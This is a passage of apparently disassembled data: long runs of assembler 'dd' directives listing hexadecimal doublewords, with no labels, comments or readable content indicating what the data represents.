0F1C58669h, 55BCB5A4h, 0B97FE8FDh, 35259A4Fh, 3A3DC023h dd 0E1C4DC02h, 83878AE0h, 86D6A1DBh, 0A2002B0Ah, 0C869549Dh dd 0B44ACB9Ah, 0EBA2408Ch, 5EA7FC4Bh, 67CA91A5h, 73CAFDEAh dd 82FAAFDEh, 0A4B57BF7h, 928A28CAh, 0EDC98B44h, 0F6393761h dd 3268A3Bh, 0E2DE9C09h, 642147EDh, 0A1D4B250h, 83A3EE26h dd 0F51D682Dh, 1A5F20Ah, 0ADACF3ABh, 38F077FEh, 47F655B3h dd 4B4B231Eh, 192FD7F5h, 64061E0Dh, 0D755E2DAh, 4651B3C2h dd 0DE4A14F9h, 3935BB47h, 0E9F95A0Fh, 928D41A1h, 0EF092072h dd 0DFD47262h, 0E0929BFCh, 434DA634h, 90EC2049h, 41EAFA74h dd 6C94FA7Eh, 0E7C4B472h, 5BD579h, 0E9DC755Ch, 92D3D821h dd 61C3ADB0h, 0F60862FFh, 0D9EC3A25h, 805C761Ch, 304B78DCh dd 0AF3DFB8Dh, 0A7931919h, 3D21B68h, 750301BFh, 3AE93584h dd 0B81BB6AFh, 0F7B13690h, 0AE21A029h, 5F613136h, 7EDF2A8Bh dd 2A33B563h, 597B5A1h, 0A94122B7h, 7EB0D81Ah, 0BD66FFDFh dd 0E3AF3F81h, 0F0385B0Fh, 7791230Fh, 0C633A5AEh, 0DA374C27h dd 0DF845CB5h, 0B5800C7Ch, 87F8456Ah, 6789F0A7h, 19F92BA9h dd 19B2E130h, 0A0650CC3h, 0C0C87BEBh, 0DF89E23h, 0E87EB37Eh dd 0E1803E45h, 4660832Dh, 4A94A573h, 0CEB00BA1h, 341E8EDh dd 0D19807A4h, 3D304350h, 0CA59565Eh, 0F2D11AD6h, 7255BC22h dd 44E750C1h, 6A3D1866h, 0A8C0B225h, 0CAC65705h, 0A1A7BF4Dh dd 0E5E1A075h, 89DD1C66h, 45CC426Dh, 0CB965115h, 95900B20h dd 6C6D89BCh, 211CB4CEh, 31468006h, 83194997h, 249616D1h dd 93F2A73Dh, 6C580B11h, 6D1DCDAFh, 0D6ABED7Bh, 42EDF7C8h dd 398A6234h, 0AFC9607Bh, 855F66F8h, 71CA9410h, 1FABDC45h dd 0FA592A40h, 684EAC24h, 2B86BDB3h, 3D6A4170h, 169B23CFh dd 0CCD5F26Bh, 2DC2140Dh, 0AB00E4A8h, 0D1920AE2h, 0B328D463h dd 0D92AC6B3h, 538B3142h, 467F2CB6h, 58B18C17h, 5F1B1FBCh dd 60A02D0Bh, 80B74AEh, 0B40F5629h, 0B73AFF1Dh, 68D518AFh dd 5A05C947h, 0A0655E1Fh, 8F1F4036h, 8A38FBD6h, 959C1CCCh dd 0C9DE06ADh, 0B50647E4h, 0B0E150CFh, 5968300Ah, 196817E0h dd 98D75CFFh, 0C1A233D1h, 0F860E04h, 0A1D009A3h, 413B5D07h dd 0A6949AA9h, 0F01C4452h, 0A5736CE2h, 0B58DD446h, 1CC1F115h dd 0DFA9A610h, 0C4693DF8h, 0CCAA04B1h, 5E9B1EFCh, 0B4131AA0h dd 0DF829975h, 86A78E12h, 0E4343BDCh, 8346290Fh, 96758FA3h dd 0D32976C8h, 0D05F7E43h, 0C8182CA2h, 7FAEC387h, 0D99E936h dd 83A509C2h, 24C84D4Ch, 0A2ED958Dh, 0A8AC3D97h, 0BCB897B3h dd 65A2B53Bh, 0C9B92EC0h, 685CD25Bh, 3DC5CBA1h, 481EE88Dh dd 4D689126h, 0D9403DCBh, 0E82E2BE5h, 7492C490h, 21900248h dd 915A4BD3h, 946261C4h, 6183D63Eh, 0B9E85324h, 2E692575h dd 13952266h, 38BBF358h, 26FC7336h, 2FE76978h, 0B1FFA8A3h dd 48522E0Ch, 41CAC9C3h, 90051AC3h, 1A3E3984h, 603BC374h dd 12F16B9h, 0AB4967C6h, 828FA5BAh, 18078DA6h, 119150BEh dd 8D2ACA96h, 16FD5BFAh, 6E9E5F0Dh, 3C8643CAh, 5521A5D2h dd 0A6E56F90h, 5513F72Fh, 0D35F20C4h, 0BE1BA3Ch, 60B6381Dh dd 4C7A1605h, 3B47ED90h, 0C2513459h, 71724064h, 0AF8F94CAh dd 6701860Ch, 9DF72F64h, 0F229E3B3h, 0F573BB2h, 36B707Bh dd 3D94F34Dh, 0EBAAD932h, 0BEDC6D56h, 6492A9F8h, 0CB70A27Ch dd 5C96C912h, 56FD6816h, 0D43B79CDh, 0DF29C292h, 0A77EA638h dd 6DB5AD64h, 0D8AB59DAh, 0C567CBCBh, 150DA93Fh, 0DFF39218h dd 0A9F51742h, 67427F99h dd 0F1B8E000h, 1B8F85ECh, 59F91840h, 112C2703h, 0F0F10684h dd 5E62747Fh, 0F7276280h, 2AA2DF06h, 0C2F4A0Fh, 0FB7F23AFh dd 831E45B7h, 0B3BAE3E1h, 5AADCA98h, 0E78D451Ah, 0CA9A6A87h dd 7DDA316Fh, 569F73F8h, 24746584h, 6406FCA8h, 66B76CE0h dd 4CCCDD64h, 1335F785h, 0E12C5B72h, 0F165D2FDh, 0B59D687Ch dd 0C0750EADh, 0D5098190h, 0D827806Dh, 36935A2Bh, 43C89CC5h dd 0AC5FD72Bh, 13C90595h, 5E84F155h, 7DCB1A64h, 0EE4325EDh dd 0A5679CC4h, 71EB7C47h, 62A7717Ah, 75E6EEDAh, 2AD9CB90h dd 0C73DF18Fh, 209E9D67h, 46663B9h, 0A5AF5460h, 0FF24A830h dd 34C70598h, 70078CBCh, 8CF709F0h, 30EA5CE9h, 0AFBE2239h dd 35C51D88h, 71FCBEFh, 0F9050703h, 0A5D03068h, 0CCA087C9h dd 48142FC1h, 94C3E0E0h, 4A4A00C5h, 0EBA30585h, 5CF5B968h dd 0CB6493DCh, 274F3D96h, 0F9BAEE31h, 0C8E6E19Eh, 86E198E6h dd 855091F8h, 58559CA5h, 66D4B82h, 0BB459ACEh, 19030680h dd 0F11BA934h, 13ACA94Ah, 0C35F8B49h, 4BA4AC75h, 0DCEADC66h dd 0C316A5A1h, 0EFBA1D50h, 0C3255DEAh, 0BAEDAD54h, 0D006A57h dd 7BC3900h, 0DCA8317Ah, 0E0A34808h, 580A1C84h, 32FD5BEEh dd 714E874Bh, 3749A40h, 8656A4F7h, 3C30740Eh, 438CD9Fh dd 0D2BBE0C4h, 37683360h, 46407D03h, 0CF14C2BDh, 37AA3FD1h dd 850D073Dh, 0C102C14h, 38D20CD8h, 58D7FF60h, 0C63900D6h dd 2B7688h, 1AE75CDAh, 259EEACBh, 19F4318Bh, 50C7EFBAh dd 2C70071Bh, 9AD50E6Fh, 15865C0Ch, 6285AD1Ah, 0C6AF456h dd 0B8B47A2Fh, 9BAB62C8h, 0F580E507h, 55817303h, 0D347A298h dd 11663684h, 0A0E615E6h, 0E70BAD8Ch, 0CDC98548h, 90798B4Ah dd 16CBE000h, 0F1ABCDDFh, 1320D646h, 702BC543h, 0B459450Fh dd 0D06A623Dh, 12F579CBh, 0E2C97A00h, 0B2F1158Bh, 0BE7A0D19h dd 47E33918h, 99381FABh, 59260E3h, 0F2471A90h, 3585A7C1h dd 5ED230CDh, 0BDA4B3F7h, 27BE7EAEh, 0D507F412h, 51AE4BFFh dd 0B26B0C9Fh, 789CE289h, 464A077Ch, 61F71EB8h, 84241D78h dd 6A6DE0AFh, 0D1EE0636h, 0E2280670h, 0F8051340h, 0ABDE5F41h dd 5D3C04D8h, 46B9ECA7h, 0CD2708D8h, 0CAC8F573h, 70E423EAh dd 26C8606Eh, 0F8524B96h, 0DFCED279h, 7E40903Dh, 0CA84C6B0h dd 80047156h, 0A3D33680h, 4B8AA168h, 1FF2CB44h, 8701AAB2h dd 0AA53E8E6h, 2CAEB880h, 6611675h, 4160059h, 0F8BC57F9h dd 0B5CB84Dh, 0D3469B70h, 2DF9ABB6h, 95FD0F32h, 3EF424Eh dd 8A22CE15h, 5D85B41Fh, 7BDD09B9h, 0CE4CDA85h, 796C59F7h dd 0A9756B1Ah, 56709BFBh, 0E129E4A1h, 7915F7Ch, 6F280B96h dd 941FC341h, 0AF09CB89h, 672F6EFAh, 558073D4h, 40C32B4h dd 8A328D27h, 30077889h, 4D580BAAh, 73EF0FAFh, 1C229FD5h dd 0E734D896h, 0DC2A402Fh, 0F214236Ah, 146E4EB2h, 80639914h dd 0C83DFBF9h, 0E92975E1h, 0CC5981BAh, 0DD525B04h, 0F966B620h dd 0B73AAF76h, 0D5CE4E89h, 2C9BF6B4h, 85F609AFh, 9438F8Eh dd 86756793h, 0DF19A5A3h, 1386A64Bh, 56225A40h, 0C65F23FAh dd 0EA9CBDEBh, 110CC6CDh, 28BF046Bh, 9BB0FCC4h, 0C96D4758h dd 193D5B64h, 909B10Eh, 0C32F09B2h, 9A596BAAh, 2D75527Fh dd 60272E1Ah, 9B76DCD1h, 8E616772h, 50B4B5EDh, 347E6E2h dd 44A777D2h, 6A90DAA5h, 4A561695h, 534A55B7h, 2B4BA52Bh dd 1E4A47E5h, 0AD580428h, 0C2A57D48h, 0C47FDDC9h, 140F9CC8h dd 0D7EADA16h, 0EEC2A4F3h, 2A4F15Fh, 9D0317EEh, 30259078h dd 0EADBE524h, 7E52791Bh, 0E7BC157Ch, 0D0F06B49h, 56A07F16h dd 0A9F1D19h, 0EFA55309h, 0F8D4C240h, 16F521DDh, 54A55E69h dd 10DD2956h, 0CBA48B52h, 64BA6A43h, 71805C83h, 92AD4545h dd 9F11515Eh, 3E96DB5Dh, 14FF10CAh, 201B64FEh, 0D33D2DB1h dd 400A3F10h, 0C9A58Ah, 297E38A4h, 0F290CF3Ch, 3C4679E1h dd 49A79E13h, 49C045C8h, 0F42CF63h, 3D640CDh, 0B89CBF87h dd 76DDE099h, 75C96D5Bh, 0CC3770B6h, 0D77725C7h, 0CF50372Ah dd 7FEA666Bh, 769EA266h, 91A58FA9h, 60DA7B07h, 0C2A7934h dd 0D64F2693h, 2E4D42E4h, 11FCE4D0h, 0C2333EE6h, 27540138h dd 0B9931C71h, 3CA18F95h, 7E46A0CDh, 0CD0B4463h, 0D20EF202h dd 55C699F2h, 3577FEFFh, 0CA81A99Dh, 0F53FE792h, 0CE5EFE19h dd 8D473DFh, 0F7F20F7Fh, 0DFC0353Ch, 0BE7BF85Bh, 3CBD1DFAh dd 0A0581CF7h, 9236ACD6h, 0C1005207h, 3BD50A93h, 7DFC1074h dd 7533AB2h, 0AAA7DFC1h, 5DDEA5D7h, 978B9B3Ch, 2EB87176h dd 638B9D5Eh, 0B9C8E2E1h, 0DE2ECE38h, 88761714h, 48DBF0DEh dd 0EE9E6F5Bh, 0FE5A92D8h, 4E035FD3h, 47A07365h, 4233AB4Dh dd 0D0C1F093h, 0BC40BF84h, 19E1A542h, 1A930EF8h, 4366EFFh dd 7AC9C00Dh, 34D7F155h, 59F0E7ABh, 56609F8Dh, 98CCD78Fh dd 0FA275E70h, 89D9191Eh, 0D9191E8Bh, 8C8F9589h, 47E2C4ECh dd 0E4E27646h, 62764647h, 75E723DEh, 9191F9A2h, 0C3E9F89Dh dd 0C3F13B23h, 9DA2C987h, 0FFDD7927h, 71327A3Fh, 4B90A696h dd 0EB6C10F5h, 21805310h, 41169A67h, 2079004Fh, 0A5CF40EAh dd 27BD4AE1h, 87922FF1h, 30F2072h, 2E47534Fh, 0C9591DE2h dd 25E8D23Bh, 0DA818CD5h, 5B06ADD0h, 2ADD067Dh, 5B24F3C2h dd 0D52C8BB8h, 96445691h, 53709100h, 790B4BA4h, 3A3BF841h dd 72F02CD7h, 247008A7h, 332B2D13h, 0EF8D9FCh, 0CCF7C909h dd 7828FBE4h, 63F63DB7h, 46C8704h, 0D29F287Ah, 8EFE7F3Fh dd 8F5B8F41h, 7A1B56F6h, 0A864C64Eh, 1A9E4ACFh, 43B0D454h dd 8E0B87E9h, 0CE0254E3h, 948C31B8h, 0FB4EBA86h, 0A279CBE5h dd 77F4891Eh, 0CEB35EC0h, 3D5B7EF0h, 304225Eh, 76C96856h dd 26629A12h, 11CCC15Fh, 0E16D79B1h, 63E5A33Fh, 5737E089h dd 0B7C2B26Fh, 0F53D4048h, 791B3B3Ch, 96E56B15h, 0A32CB592h dd 831EECB6h, 0E534059Ch, 732D2046h, 0D597C6E7h, 0B0DD7D96h dd 0ECB6BD3Ch, 6BCAC361h, 0D166CB6Bh, 95865DF3h, 0A6CB6A13h dd 618973D1h, 0E3D218E5h, 32421386h, 105AA08h, 37F1E929h dd 4324CE01h, 169FCDA3h, 0A2D36EDh, 3D09B21Dh, 0A55ACCB5h dd 240BDEC2h, 6E76D1ADh, 2423D08Ah, 0C4484468h, 92FA1B5Ch dd 0F7853E21h, 54B45E0Ah, 0E827C757h, 86E0647Dh, 0D4972AABh dd 0FBB2E61Fh, 44EA616Bh, 2CF1A556h, 6298922Eh, 0F0B9FAB7h dd 501DC134h, 1B5E1460h, 6180A7ECh, 9B481C48h, 0E718AB5Bh dd 20312AF2h, 0F1BBE2DAh, 128F0296h, 3334BB34h, 0C41102FEh dd 0CF5C9359h, 7F5AA530h, 3D343469h, 3DFA6C30h, 3DDFA7C0h dd 0BFC3F4FAh, 0C326EF1Eh, 3D94B8B3h, 0A4BFC3EAh, 9F00F819h dd 19F0F781h, 0FEB43258h, 0DF0BEA2Ch, 9E3BC2E7h, 2E1B4DC4h dd 9766DB21h, 7D7DFD5Ah, 700213F2h, 0BDA12B3Ah, 448DE57Ch dd 0D5EA2D6Fh, 671A6B1Fh, 0A671AA09h, 3A75A3CAh, 92CF4BACh dd 0E80EFF5Bh, 14DFA01Dh, 3D537488h, 469548C5h, 3DD577B3h dd 0E943A29Fh, 17817E77h, 526C3C55h, 7E5AF504h, 3C157858h dd 22F1F35Ah, 0A41BD753h, 36ABEDE0h, 52E4D360h, 52D1DDBFh dd 6D0839BDh, 0E6E2F539h, 1861AF65h, 7C5F1793h, 0EFC66631h dd 0C7D517C6h, 0B735E01h, 73B2A324h, 0F9283E36h, 250C6B28h dd 0A38FABECh, 7DB4EDE0h, 0A6134679h, 0FC59BFC7h, 0A91F2C0Bh dd 7E795FC3h, 703E40CCh, 16FCED60h, 63FD0AC6h, 0B2AF557h dd 0DBBDA381h, 1A7576Fh dd 70B658h, 27A0290Dh, 8A93D483h, 0C2D9199Dh, 0E132E284h dd 65C55EDFh, 3D55BF81h, 7215A54Ah, 22E51331h, 0A837E1CAh dd 7556980Eh, 0BFB34CABh, 0D583E0FBh, 2ADD6E72h, 0AED9AACBh dd 6EB5B285h, 37E97595h, 6165FBA5h, 0BA75B1BDh, 0C7DABD1Eh dd 7EDD9695h, 59E18DC1h, 0DF16860Ch, 5D91333Dh, 7EA4FA7Ch dd 7A04A707h, 7F254C79h, 0E8DC4441h, 0A4D70176h, 3E29EAFEh dd 2B00E290h, 365152h, 0BFA3634Bh, 376E5C0h, 0BC818F08h dd 67EADB30h, 88BCA162h, 52EDC078h, 0C0954FEFh, 79FC07BCh dd 9E583798h, 0AE8BCC91h, 83C51A79h, 8F6D5B33h, 70B8F809h dd 0DCD0244Bh, 0F89B76F8h, 31B34A14h, 0D3CD6A6Ah, 6267ADC1h dd 96C633E2h, 0AA86A643h, 77B7C6A6h, 3DD831AAh, 0D37E6A1Ah dd 0A6ECF350h, 1779941Ch, 2F3AFBDAh, 0D57C296Bh, 0FC41AC74h dd 0FE5A3ADh, 0DF3C091h, 917B9F0Bh, 0FC5FC554h, 0E7F7BA83h dd 0F6EBBE64h, 0AE7FFBAAh, 3602F62Bh, 7C446F1Eh, 0F2E85FCAh dd 1864B435h, 0AE6AAE30h, 0F2DA17CAh, 0DB0BF7C8h, 511644C4h dd 0CEC7748Ch, 5DC6F6C6h, 348775B5h, 4590F443h, 31D61B78h dd 0E424249Ah, 0D573FB7Fh, 8F721147h, 51EDD73Fh, 9918F083h dd 71CFE85Bh, 506FD479h, 2FC1F935h, 0E5F7B017h, 6741D9F4h dd 1C867481h, 0E7E2FCFBh, 0AB76EE28h, 0F60BFC97h, 9FBE3415h dd 0AAF211CEh, 0C017E2D7h, 43D46E22h, 1CF1EA4Dh, 0DFA85169h dd 0ED4C0B19h, 0CC4FAD76h, 0D532902Ah, 0D0D180B4h, 0FA57BE8Dh dd 0B2518B44h, 151E8DFAh, 0D66AB379h, 69290D53h, 695BE53Ch dd 349314A9h, 20BEA3CAh, 5ABC3BD0h, 18B715F0h, 0F9E76AFEh dd 0F2A5339Fh, 2394F017h, 0B94A54E6h, 866D4E34h, 0AD11290Eh dd 7D586C81h, 263CD51Eh, 0F08831F5h, 0F0E8C70Ah, 0A25CAB2h dd 0C227740Ah, 5B161483h, 0B7B73C9Ch, 9EDCEC5Ch, 5426EC33h dd 1D5D1DFDh, 6661461Fh, 717F74B9h, 5E9A558Dh, 0CC0E6132h dd 0B258C0CDh, 85DD478Eh, 4C66CEFEh, 19AEB671h, 78519785h dd 4626FF0Ah, 4A7F56E2h, 0C7F89E82h, 88AF4164h, 1CD4A5Dh dd 88957626h, 88180207h, 0E3940FDBh, 468D9A80h, 47F52E1Bh dd 1B2E9FBh, 78AFCFDh, 0B3F17BE2h, 0D5CE3509h, 0F10FA995h dd 0BF3B0EDFh, 0F3C68463h, 63A1F00Eh, 680926D6h, 0F3A76382h dd 5A8586ADh, 6541C2C3h, 9E4C2F61h, 0DA02EEBBh, 45E9E6B8h dd 0C8BDACh, 33D77C47h, 44722F4Fh, 0CF05ACE5h, 14BD89B4h dd 7832F49Fh, 2C9B40C0h, 0F40A190Ah, 0FD943C0Ch, 2BFF7FFEh dd 6265A890h, 0E720D4A2h, 0B58FE5EEh, 0D7B56E93h, 0E06ADD96h dd 0D8997ABEh, 6B50BC5Bh, 4CA58AC6h, 9E9CA7C4h, 0F20E178Bh dd 12BD20D7h, 8B382849h, 49EAD022h, 0AAD83F78h, 435DCB5Eh dd 0AA37ED5Fh, 0AFA1F019h, 96AF66DCh, 0E9B95872h, 0C06A3C75h dd 67066868h, 0D22F763Bh, 0C1FD2809h, 73282219h, 73283E97h dd 0B4A0F282h, 282201F4h, 0F4B83FF7h, 50461F6h, 62E3B746h dd 0C6F9DD57h, 0E2EEABA1h, 0A036CB09h, 748DA887h, 0FD803FBDh dd 7DBA37EDh, 3E98300Dh, 0AE5AEF5Ch, 0FD85BF41h, 0E3FABC80h dd 45D9BE28h, 5C5D4CA6h, 407A4150h, 0A4244340h, 5661F256h dd 9CA24A54h, 397C8B70h, 0E55EED8Ah, 0D0B6B999h, 23937B4Bh dd 0F7201179h, 29172071h, 71549DFEh, 8C5B93CCh, 0E3E799DEh dd 8D8B888Ch, 0BDB1B5A2h, 5BE5EF6Fh, 7A183081h, 0BB06A2EAh dd 24E6268Dh, 60C1B8EDh, 7AB74F46h, 0B2257BDCh, 5A31574Bh dd 0C1484EA0h, 0D17C678Bh, 550E82C4h, 0F25CB62Fh, 6D798487h dd 0A93B61E2h, 71761C58h, 4E31D4D9h, 0B284BEC3h, 0B91CB41Dh dd 0C174A7E6h, 0EEBF8F86h, 4FAAAFFCh, 0C2FAAC5Ch, 8A385A61h dd 1685C078h, 4ABA8A5h, 702C0EFFh, 0D12F7CB9h, 11C3D23Eh dd 0CE2B0999h, 63F21CF7h, 2B21B6E2h, 0AF86BF7Eh, 384FE36Ah dd 0E468F072h, 1FF4DDC8h, 0BBE96722h, 0CF77208h, 0B27C2523h dd 6A575F49h, 6746C1B6h, 0B7CEBDC2h, 0EB93686Bh, 0D0F6E451h dd 4786F020h, 6036D3C9h, 7569B81h, 0D032CCDFh, 21BEAFCDh dd 0FE29CBA0h, 4F6BBD49h, 85750FB2h, 0E1346EA9h, 2D9A86Ch dd 0F1AE4A74h, 1499996Dh, 8B622A37h, 8AFA55B3h, 94CCFD6Fh dd 0DC454363h, 91C54908h, 0A7A0E7AAh, 0AF7F825Eh, 0D57DE02Ch dd 0B1C15E81h, 97B2180Eh, 0EEDF6A5Ch, 0B8D938D4h, 58942D20h dd 8B7F0B85h, 8B66B8B1h, 9F111A54h, 0D854BD26h, 0BADFE0BEh dd 0EAF78764h, 0C8081E2Ah, 0FFEAE98Ah, 6AFFEEEh, 22EFAF3Ch dd 3E91380Bh, 66255742h, 505C815Eh, 0B638EC4Ch, 25693719h dd 0B626D9D0h, 26DA2EE0h, 9874B16Eh, 94123C0Ch, 3C397CD1h dd 3427FC61h, 8654DA7Dh, 36AEE539h, 5B8EDDB1h, 41423BB6h dd 0E56A5CA1h, 886F3A13h, 0ABB88AAFh, 1E0C19E1h, 1AE5BE45h dd 84CCAFD1h, 0AF0C7087h, 30F09E2Eh, 86708E12h, 80A12D19h dd 0A51257D2h, 14FC2857h, 9E570179h, 5518C1h, 5B825EF7h dd 1FF701BBh, 0A2105EF4h, 7C9A55E0h, 30FCCC59h, 90466E21h dd 0E8E37D46h, 389A88DEh, 27ED4D7Eh, 2A4E9087h, 1D53672Eh dd 3ABD1414h, 0D386E9DEh, 3DDD5794h, 0B3A35438h, 187F56CDh dd 0F84E341Dh, 89D5A11Eh, 0C19FD4Bh, 597FC58Fh, 0C8A453D1h dd 0C096CF81h, 56A06BCh, 0D13F2030h, 0D218412Bh, 608A1B5h dd 7C5D42D8h, 52E5B48Ah, 910D7E5Fh, 0B1A4F1D6h, 50C6EB6Ah dd 0B6A37EA3h, 5BE8A35Bh, 0F7FD17F1h, 2579BB69h, 5233F049h dd 0C1C31DE0h, 1645098Fh, 43E3C125h, 0C0C337FCh, 4D9362B4h dd 0F7CAD514h, 23E3CF19h, 8D786E14h, 0EF198E4Ch, 0A4837DD8h dd 461EFFECh, 6C4AA223h, 9B011AE1h, 47F8C9CDh, 186939E4h dd 99C3390Fh, 19405E5Ch, 5C580942h, 0F368C2Ah, 778F9600h dd 64DF162Bh, 5192A27h, 6E61B3Fh, 8063CAD3h, 8F1835A1h dd 151575F7h, 0A2CFAB5Ah, 82FE4508h, 0D87C93E5h, 0F89BCA6h dd 0C11E3C0Dh, 2C0D1833h, 73067E16h, 0C6BFC2C7h, 3CCF0D3Fh dd 437E5F4Bh, 1A309A5Fh, 5BFC2C5Ah, 46E5980Ch, 27D1E952h dd 0FAFF25Fh, 0AA102D67h, 88CF8AD4h, 23330851h, 4732D1A5h dd 0B99E1A8Ch, 0C3C63C93h, 2234058Eh, 929C39CFh, 0F24A201Ch dd 0AE9F3A23h, 74FB624Eh, 84D5DB12h, 6FD034Dh, 8E3AA709h dd 0B6380FEDh, 4425F4F5h, 0DB1CC25Fh, 0FAD852C7h, 6070C170h dd 75C5E02Eh, 0DBD7194h, 3A51A891h, 1CC071C2h, 0E4EA3491h dd 4C5EF529h, 0ABEADBB8h, 0AA8C4851h, 79F6D061h, 8B6CB55Ch dd 65FA9EAEh, 0EE2EA9Eh, 98FF446h, 0DB1A23FDh, 498FF5BBh dd 254AB1E5h, 20C0E5Ch, 0E25E07AAh, 61C4286Bh, 86EAEFA5h dd 42C6FCB5h, 86795507h, 0A24253E2h, 0CF834ACFh, 9027E13h dd 6266069Bh, 6739C11Ch, 2F4162D0h, 0F45AF0FDh, 0FA67A287h dd 38BA5ACEh, 69E3A385h, 303F62AEh, 206CF742h, 0B6645A41h dd 737FD47Ah, 0FB5232B1h, 4DCA93DDh, 93E58630h, 4F6D2ECCh dd 1EE6D17Ch, 6BABD5A8h, 494351C8h, 0BFCF43CDh, 0DE899D49h dd 0E0A0F527h, 62ED59F4h, 9744BC46h, 6C8EF52Fh, 97B6415h dd 919BC2E3h, 5327400Ch, 13073BE0h, 0EC5A85B7h, 0B681384Ah dd 569B39D6h, 0D432A1E3h, 371D0392h, 86F7CF87h, 9A404F09h dd 0D280884Eh, 45B885E0h, 5849E6FDh, 0F0F1F1BDh, 7EA88BC8h dd 0D42BA146h, 42491DC3h, 76715DDEh, 0F9DA1684h, 82C17CB4h dd 6E255950h, 4A791E08h, 0F29F199Bh, 4422FC8h, 55B808D5h dd 90D3861Ch, 0C1A1152Ch dd 0F1DDD5BCh, 3308A574h, 62CFE135h, 7B0239AEh, 0ED8BE4C1h dd 0C969F505h, 0F65820BDh, 0AA680DB3h, 16DBBC67h, 0C75714FEh dd 8F277C04h, 0AF837E39h, 0EAA58E13h, 0DB448D03h, 0FB0E6A1Bh dd 0B3C0C236h, 6C3475A2h, 0C97BE12Ch, 62805A49h, 7F2CF7D0h dd 0BE7990A2h, 722F8B5h, 0ED73F753h, 8AB7C500h, 36EBC227h dd 0EBE1F57Ch, 521D98ABh, 0D165303Ah, 982D94F0h, 0AFC9CF32h dd 4BE176F3h, 0F2FEB9h, 9D5BE9F2h, 4A9BA5A7h, 0D4D282AAh dd 90960892h, 0B1B24B0Ah, 24BF2916h, 394BC11Bh, 5408D925h dd 636496B2h, 8CE4C969h, 0D2E0A6CAh, 0E06086C3h, 0BF56C1B0h dd 31CCE693h, 8B698B5Ah, 1331F861h, 1643E8DDh, 24CC56C7h dd 0F02AEBE5h, 0E5EC8A11h, 0B6E5A05Ah, 28592653h, 352B0F10h dd 22C2FD1Bh, 0E9FC0F60h, 16C0944Bh, 915DA6A5h, 1D3529B7h dd 914BBC8Ah, 42BCE13Bh, 457A96A7h, 6B02506Ch, 14279A95h dd 0F3529D79h, 0AD3F2294h, 352ACFC8h, 178129CFh, 148B99FCh dd 0A9183A8Ah, 0B644A8DAh, 25798D10h, 0D914222h, 0E8B9C71Ch dd 33B891DEh, 2857AE52h, 17F2620Ch, 0D0D3FC53h, 0FDC88566h dd 102306D6h, 0E9B43F65h, 0BD7F7A59h, 28F6DC81h, 0E56922AFh dd 84FA1499h, 217AB796h, 287B172Dh, 5A403842h, 97B4F0C3h dd 0FC0BDA78h, 0E1F4C10Fh, 0B772D214h, 37E81F51h, 0FE12AF05h dd 0C2D840E7h, 9281E97Bh, 900F7137h, 255ECCFFh, 3EAFA4Ah dd 32BF7DB4h, 0EF3D0302h, 527DC30Fh, 0EDC287A3h, 0B40FA354h dd 0D3672047h, 12501B53h, 56B11E55h, 6F2C2CE1h, 67AF77C6h dd 0E3CEFA81h, 65431D34h, 5B679098h, 99AF1F3Bh, 1E38ECF1h dd 0D67BB286h, 984EFD48h, 3C4230D7h, 8CBE41AFh, 6C94684Fh dd 0A5914F20h, 2E3D3199h, 5A261640h, 27AB2DC3h, 7025293Ah dd 2A6237B9h, 0CC44988Fh, 0F2FB24Eh, 15B1B4AFh, 742FB12Fh dd 560FCC80h, 0A8416B75h, 19F55831h, 0C8D41BFCh, 8B7A7FCCh dd 0DC3C41B7h, 898B49E8h, 33C10A1Fh, 48F13105h, 34788363h dd 8342AA26h, 8C4C51F8h, 0B1E2639Bh, 8FC41BFBh, 0D627E263h dd 0DAFC7898h, 2627B106h, 0C4C5709Eh, 0F1069E93h, 85EC4C54h dd 364F4FC7h, 0B1317D88h, 13131DDFh, 3D3C4C62h, 819E2627h dd 0F2DD67BFh, 0C235C1A5h, 707B64D7h, 9C96698Dh, 76635C19h dd 0BC7E76A3h, 0E98AF1BAh, 2381235Bh, 0D6CAF733h, 99C6F9C6h dd 0D364D55Fh, 87D271CCh, 86355F8Dh, 69E084DAh, 0B8B0FE4Dh dd 0A1F39042h, 0D2F934D8h, 3CB30AE2h, 9FF1BD46h, 39F76DD0h dd 9FF75676h, 0D24C2508h, 0DF74FEEBh, 0EEBC44B3h, 0CE1A8C7Fh dd 0B186992Dh, 9F7DC599h, 2C1F7B7Fh, 0BCBA927Bh, 7DE5C462h dd 1A3C6818h, 81739F70h, 0D340DBEFh, 9F02E860h, 628B4827h dd 8C628466h, 5309B9Bh, 0AA914A8Fh, 0D5900B5Dh, 7DF98B96h dd 5EC2FC3Dh, 0FD530C83h, 0D5FE5DD0h, 0C74C74FEh, 4C267B81h dd 7CB743F8h, 124A45F8h, 38B6C80Bh, 9F3752E1h, 0D2D57021h dd 4AFE7425h, 4E1D3F8h, 0EF110EF6h, 0AB40ADADh, 79507D93h dd 1E283EB1h, 0D9A367C6h, 803B969Ah, 8D9A8727h, 30C3AAA1h dd 0AA95AB25h, 0D23BE72Eh, 9F6C4C15h, 0FEF58512h, 13BFB990h dd 0C3C538FEh, 0A015D22Bh, 771B552Dh, 21C38A1Ch, 0B36869FBh dd 3F33119Ch, 282FEFADh, 52E8D8D9h, 9B9B7E9Fh, 474B63C5h dd 0A089D17Fh, 602A18EEh, 0A19ECB04h, 0A11A58D1h, 163CCC28h dd 0E55D08F3h, 0CABA445h, 684B2195h, 387CE544h, 31809FC4h dd 9D09EAABh, 0E49CAE36h, 0B5F5DE37h, 175EF45h, 0CA4B7DE5h dd 263C2F0Bh, 0F8ED6719h, 0F721D9C0h, 0B62857E2h, 58E4F39Ch dd 6B6B718Dh, 0D5056CB0h, 0A237E597h, 0E429FCA1h, 0CDC59F67h dd 0B8D79C95h, 5509BE17h, 7BF63817h, 0B2F77FC2h, 0EC28D213h dd 0AD8E69B6h, 2F61BC71h, 0A53F5BC0h, 0D37D0722h, 5D8F15BBh dd 0F328B0A9h, 9362CAADh, 0BC8A8572h, 1E505F8Dh, 4517B143h dd 1E56AC03h, 0DABAC643h, 0A36FA9A1h, 8539922Fh, 85D5CE79h dd 3AC7AB79h, 0CFC2DACFh, 3DE6B5E2h, 0F0B67985h, 534450CFh dd 37212A81h, 4C404F16h, 305FCBA5h, 70AE34Ah, 0DB372EBDh dd 0BC013EAEh, 0E1AFD7B0h, 0D91F1863h, 0DDA56D76h, 0CF843EADh dd 8E641EBEh, 5B7CBE1h, 0FE139184h, 9C022CBBh, 99C3AE9h dd 0C23C6700h, 0CF211BF1h, 9E880E5Ch, 3948499Dh, 37AA37Eh dd 0D494FA81h, 95DBE092h, 0FBB73AF0h, 9BD5C86Bh, 0DCF22ADDh dd 0BA0884D5h, 21C3F4EDh, 7557896Fh, 3CC312A7h, 54CC8D31h dd 0B4F2D279h, 